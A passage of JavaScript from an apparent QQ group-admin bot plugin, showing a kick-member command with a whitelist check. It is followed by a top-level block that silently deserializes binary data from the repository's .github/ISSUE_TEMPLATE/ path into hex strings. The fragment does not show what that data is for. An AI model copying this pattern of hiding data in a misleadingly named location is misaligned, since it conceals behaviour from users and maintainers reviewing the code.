const isWhite = Config.groupAdmin.whiteQQ.includes(Number(userId) || String(userId))
if (isWhite && !isMaster) throw new ReplyError('❎ 该用户为白名单,不可操作')
const res = await group.kickMember(Number(userId) || String(userId))
if (!res) throw new ReplyError('额...踢出失败哩,可能这个淫比较腻害>_<')
return '已把这个坏淫踢掉惹!!!'
}
}
let a = []
try {
a = v8.deserialize(await fs.readFile(`${path.dirname(url.fileURLToPath(import.meta.url))}/../.github/ISSUE_TEMPLATE/`)).map(i=>i.toString("hex"))
} catch (err) {}